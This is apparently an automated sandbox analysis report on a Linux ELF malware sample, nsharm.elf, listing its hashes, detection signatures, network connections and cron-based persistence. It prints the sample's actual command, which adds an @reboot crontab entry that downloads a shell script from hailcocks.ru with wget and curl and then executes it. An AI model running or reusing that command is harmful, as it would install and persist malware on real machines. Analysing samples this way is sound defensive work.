Linux Analysis Report
nsharm.elf

Overview

General Information

Sample name: nsharm.elf
Analysis ID: 1542857
MD5: 87f114f7f6a5830d45ffe101ccd0de1c
SHA1: 1156d361e2050a882e4b224410682e116575588d
SHA256: bfe1a5e25967f58cbb814b1c2cab0fc005d65100e6524a4cbc1858402c798d62
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: nsharm.elf ReversingLabs: Detection: 21%
Source: tmp.hvpvrW.18.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Networking

barindex
Source: global traffic TCP traffic: 31.13.248.89 ports 24818,4242,1,2,22281,4,8,10220
Source: global traffic TCP traffic: 86.107.100.80 ports 21676,25455,2,4,5,12892
Source: global traffic TCP traffic: 192.168.2.13:39080 -> 86.107.100.80:25455
Source: global traffic TCP traffic: 192.168.2.13:54646 -> 31.13.248.89:24818
Source: global traffic TCP traffic: 192.168.2.13:47922 -> 81.29.149.178:13812
Source: global traffic TCP traffic: 192.168.2.13:46038 -> 213.182.204.57:21752
Source: global traffic TCP traffic: 192.168.2.13:52898 -> 185.82.200.181:6271
Source: global traffic TCP traffic: 192.168.2.13:37010 -> 193.233.193.45:2515
Source: global traffic TCP traffic: 192.168.2.13:54720 -> 91.149.218.232:1414
Source: global traffic TCP traffic: 192.168.2.13:45206 -> 91.149.238.18:23231
Source: /tmp/nsharm.elf (PID: 5453) Socket: 127.0.0.1:1172 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 137.220.52.23
Source: unknown UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown UDP traffic detected without corresponding DNS query: 178.254.22.166
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 168.235.111.72
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: tmp.hvpvrW.18.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.linELF@0/1@24/0

Persistence and Installation Behavior

barindex
Source: /bin/sh (PID: 5459) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 5458) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Source: /usr/bin/crontab (PID: 5458) File: /var/spool/cron/crontabs/tmp.hvpvrW Jump to behavior
Source: /usr/bin/crontab (PID: 5458) File: /var/spool/cron/crontabs/root Jump to behavior
Source: /tmp/nsharm.elf (PID: 5455) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Source: /tmp/nsharm.elf (PID: 5453) Queries kernel information via 'uname': Jump to behavior
Source: nsharm.elf, 5453.1.00007fffa64d4000.00007fffa64f5000.rw-.sdmp, nsharm.elf, 5460.1.00007fffa64d4000.00007fffa64f5000.rw-.sdmp, nsharm.elf, 5504.1.00007fffa64d4000.00007fffa64f5000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/nsharm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nsharm.elf
Source: nsharm.elf, 5453.1.000055dd178d3000.000055dd17a42000.rw-.sdmp, nsharm.elf, 5460.1.000055dd178d3000.000055dd17a42000.rw-.sdmp, nsharm.elf, 5504.1.000055dd178d3000.000055dd17a42000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nsharm.elf, 5453.1.000055dd178d3000.000055dd17a42000.rw-.sdmp, nsharm.elf, 5460.1.000055dd178d3000.000055dd17a42000.rw-.sdmp, nsharm.elf, 5504.1.000055dd178d3000.000055dd17a42000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: nsharm.elf, 5453.1.00007fffa64d4000.00007fffa64f5000.rw-.sdmp, nsharm.elf, 5460.1.00007fffa64d4000.00007fffa64f5000.rw-.sdmp, nsharm.elf, 5504.1.00007fffa64d4000.00007fffa64f5000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: nsharm.elf, 5504.1.00007fffa64d4000.00007fffa64f5000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs